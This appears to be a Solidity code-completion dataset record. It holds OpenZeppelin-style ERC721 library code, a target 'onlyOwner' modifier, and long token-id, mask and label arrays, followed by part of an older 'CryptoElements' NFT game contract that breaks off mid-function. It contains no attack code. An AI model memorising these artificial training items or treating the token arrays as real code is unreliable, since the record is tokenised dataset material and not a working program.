function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | * @dev Throws if called by any account other than the owner./ | modifier onlyOwner() {
require(owner() == _msgSender(), "caller is not owner");
_;
}
| 14,813,490 | [
1,
21845,
309,
2566,
635,
1281,
2236,
1308,
2353,
326,
3410,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
9606,
1338,
5541,
1435,
288,
203,
3639,
2583,
12,
8443,
1435,
422,
389,
3576,
12021,
9334,
315,
16140,
353,
486,
3410,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.2;
// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
// @author Dieter Shirley <[email protected]> (https://github.com/dete)
contract ERC721 {
// Required methods
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
}
contract Elements is ERC721 {
/*** EVENTS ***/
// @dev The Birth event is fired whenever a new element comes into existence.
event Birth(uint256 tokenId, string name, address owner);
// @dev The TokenSold event is fired whenever a token is sold.
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name);
// @dev Transfer event as defined in current draft of ERC721. Ownership is assigned, including births.
event Transfer(address from, address to, uint256 tokenId);
/*** CONSTANTS, VARIABLES ***/
// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant NAME = "CryptoElements"; // solhint-disable-line
string public constant SYMBOL = "CREL"; // solhint-disable-line
uint256 private periodicStartingPrice = 5 ether;
uint256 private elementStartingPrice = 0.005 ether;
uint256 private scientistStartingPrice = 0.1 ether;
uint256 private specialStartingPrice = 0.05 ether;
uint256 private firstStepLimit = 0.05 ether;
uint256 private secondStepLimit = 0.75 ether;
uint256 private thirdStepLimit = 3 ether;
bool private periodicTableExists = false;
uint256 private elementCTR = 0;
uint256 private scientistCTR = 0;
uint256 private specialCTR = 0;
uint256 private constant elementSTART = 1;
uint256 private constant scientistSTART = 1000;
uint256 private constant specialSTART = 10000;
uint256 private constant specialLIMIT = 5000;
/*** STORAGE ***/
// @dev A mapping from element IDs to the address that owns them. All elements have
// some valid owner address.
mapping (uint256 => address) public elementIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) private ownershipTokenCount;
// @dev A mapping from ElementIDs to an address that has been approved to call
// transferFrom(). Each Element can only have one approved address for transfer
// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public elementIndexToApproved;
// @dev A mapping from ElementIDs to the price of the token.
mapping (uint256 => uint256) private elementIndexToPrice;
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cooAddress;
/*** DATATYPES ***/
struct Element {
uint256 tokenId;
string name;
uint256 scientistId;
}
mapping(uint256 => Element) elements;
uint256[] tokens;
/*** ACCESS MODIFIERS ***/
// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
// Access modifier for contract owner only functionality
modifier onlyCLevel() {
require(
msg.sender == ceoAddress ||
msg.sender == cooAddress
);
_;
}
/*** CONSTRUCTOR ***/
function Elements() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
createContractPeriodicTable("Periodic");
}
/*** PUBLIC FUNCTIONS ***/
// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom().
// @param _to The address to be granted transfer approval. Pass address(0) to
// clear all approvals.
// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
// @dev Required for ERC-721 compliance.
function approve(address _to, uint256 _tokenId) public {
// Caller must own token.
require(_owns(msg.sender, _tokenId));
elementIndexToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
// For querying balance of a particular account
// @param _owner The address for balance query
// @dev Required for ERC-721 compliance.
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
// @notice Returns all the relevant information about a specific element.
// @param _tokenId The tokenId of the element of interest.
function getElement(uint256 _tokenId) public view returns (
uint256 tokenId,
string elementName,
uint256 sellingPrice,
address owner,
uint256 scientistId
) {
Element storage element = elements[_tokenId];
tokenId = element.tokenId;
elementName = element.name;
sellingPrice = elementIndexToPrice[_tokenId];
owner = elementIndexToOwner[_tokenId];
scientistId = element.scientistId;
}
function implementsERC721() public pure returns (bool) {
return true;
}
// For querying owner of token
// @param _tokenId The tokenID for owner inquiry
// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId) public view returns (address owner) {
owner = elementIndexToOwner[_tokenId];
require(owner != address(0));
}
function payout(address _to) public onlyCLevel {
_payout(_to);
}
// Allows someone to send ether and obtain the token
function purchase(uint256 _tokenId) public payable {
address oldOwner = elementIndexToOwner[_tokenId];
address newOwner = msg.sender;
uint256 sellingPrice = elementIndexToPrice[_tokenId];
// Making sure token owner is not sending to self
require(oldOwner != newOwner);
require(sellingPrice > 0);
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure sent amount is greater than or equal to the sellingPrice
require(msg.value >= sellingPrice);
uint256 ownerPayout = SafeMath.mul(SafeMath.div(sellingPrice, 100), 96);
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
uint256 feeOnce = SafeMath.div(SafeMath.sub(sellingPrice, ownerPayout), 4);
uint256 fee_for_dev = SafeMath.mul(feeOnce, 2);
// Pay previous tokenOwner if owner is not contract
// and if previous price is not 0
if (oldOwner != address(this)) {
// old owner gets entire initial payment back
oldOwner.transfer(ownerPayout);
} else {
fee_for_dev = SafeMath.add(fee_for_dev, ownerPayout);
}
// Taxes for Periodic Table owner
if (elementIndexToOwner[0] != address(this)) {
elementIndexToOwner[0].transfer(feeOnce);
} else {
fee_for_dev = SafeMath.add(fee_for_dev, feeOnce);
}
// Taxes for Scientist Owner for given Element
uint256 scientistId = elements[_tokenId].scientistId;
if ( scientistId != scientistSTART ) {
if (elementIndexToOwner[scientistId] != address(this)) {
elementIndexToOwner[scientistId].transfer(feeOnce);
} else {
fee_for_dev = SafeMath.add(fee_for_dev, feeOnce);
}
} else {
fee_for_dev = SafeMath.add(fee_for_dev, feeOnce);
}
if (purchaseExcess > 0) {
msg.sender.transfer(purchaseExcess);
}
ceoAddress.transfer(fee_for_dev);
_transfer(oldOwner, newOwner, _tokenId);
//TokenSold(_tokenId, sellingPrice, elementIndexToPrice[_tokenId], oldOwner, newOwner, elements[_tokenId].name);
// Update prices
if (sellingPrice < firstStepLimit) {
// first stage
elementIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), 100);
} else if (sellingPrice < secondStepLimit) {
// second stage
elementIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 150), 100);
} else if (sellingPrice < thirdStepLimit) {
// third stage
elementIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 130), 100);
} else {
// fourth stage
elementIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 115), 100);
}
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return elementIndexToPrice[_tokenId];
}
// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
// @dev Assigns a new address to act as the COO. Only available to the current COO.
// @param _newCOO The address of the new COO
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
// @notice Allow pre-approved user to take ownership of a token
// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
// @dev Required for ERC-721 compliance.
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = elementIndexToOwner[_tokenId];
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure transfer is approved
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
// @param _owner The owner whose element tokens we are interested in.
// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
// expensive (it walks the entire Elements array looking for elements belonging to owner),
// but it also returns a dynamic array, which is only supported for web3 calls, and
// not contract-to-contract calls.
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalElements = totalSupply();
uint256 resultIndex = 0;
uint256 elementId;
for (elementId = 0; elementId < totalElements; elementId++) {
uint256 tokenId = tokens[elementId];
if (elementIndexToOwner[tokenId] == _owner) {
result[resultIndex] = tokenId;
resultIndex++;
}
}
return result;
}
}
// For querying totalSupply of token
// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint256 total) {
return tokens.length;
}
// Owner initates the transfer of the token to another account
// @param _to The address for the token to be transferred to.
// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
// @dev Required for ERC-721 compliance.
function transfer( address _to, uint256 _tokenId ) public {
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
// Third-party initiates transfer of token from address _from to address _to
// @param _from The address for the token to be transferred from.
// @param _to The address for the token to be transferred to.
// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
// @dev Required for ERC-721 compliance.
function transferFrom( address _from, address _to, uint256 _tokenId) public {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
/*** PRIVATE FUNCTIONS ***/
// Safety check on _to address to prevent against an unexpected 0x0 default.
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
// For checking approval of transfer for address _to
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return elementIndexToApproved[_tokenId] == _to;
}
// Private method for creating Element
function _createElement(uint256 _id, string _name, address _owner, uint256 _price, uint256 _scientistId) private returns (string) {
uint256 newElementId = _id;
// It's probably never going to happen, 4 billion tokens are A LOT, but
// let's just be 100% sure we never let this happen.
require(newElementId == uint256(uint32(newElementId)));
elements[_id] = Element(_id, _name, _scientistId);
Birth(newElementId, _name, _owner);
elementIndexToPrice[newElementId] = _price;
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(address(0), _owner, newElementId);
tokens.push(_id);
return _name;
}
// @dev Creates Periodic Table as first element
function createContractPeriodicTable(string _name) public onlyCEO {
require(periodicTableExists == false);
_createElement(0, _name, address(this), periodicStartingPrice, scientistSTART);
periodicTableExists = true;
}
// @dev Creates a new Element with the given name and Id
function createContractElement(string _name, uint256 _scientistId) public onlyCEO {
require(periodicTableExists == true);
uint256 _id = SafeMath.add(elementCTR, elementSTART);
uint256 _scientistIdProcessed = SafeMath.add(_scientistId, scientistSTART);
_createElement(_id, _name, address(this), elementStartingPrice, _scientistIdProcessed);
elementCTR = SafeMath.add(elementCTR, 1);
}
// @dev Creates a new Scientist with the given name Id
function createContractScientist(string _name) public onlyCEO {
require(periodicTableExists == true);
// to start from 1001
scientistCTR = SafeMath.add(scientistCTR, 1);
uint256 _id = SafeMath.add(scientistCTR, scientistSTART);
_createElement(_id, _name, address(this), scientistStartingPrice, scientistSTART);
}
// @dev Creates a new Special Card with the given name Id
function createContractSpecial(string _name) public onlyCEO {
require(periodicTableExists == true);
require(specialCTR <= specialLIMIT);
// to start from 10001
specialCTR = SafeMath.add(specialCTR, 1);
uint256 _id = SafeMath.add(specialCTR, specialSTART);
_createElement(_id, _name, address(this), specialStartingPrice, scientistSTART);
}
// Check for token ownership
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == elementIndexToOwner[_tokenId];
}
//**** HELPERS for checking elements, scientists and special cards
function checkPeriodic() public view returns (bool) {
return periodicTableExists;
}
function getTotalElements() public view returns (uint256) {
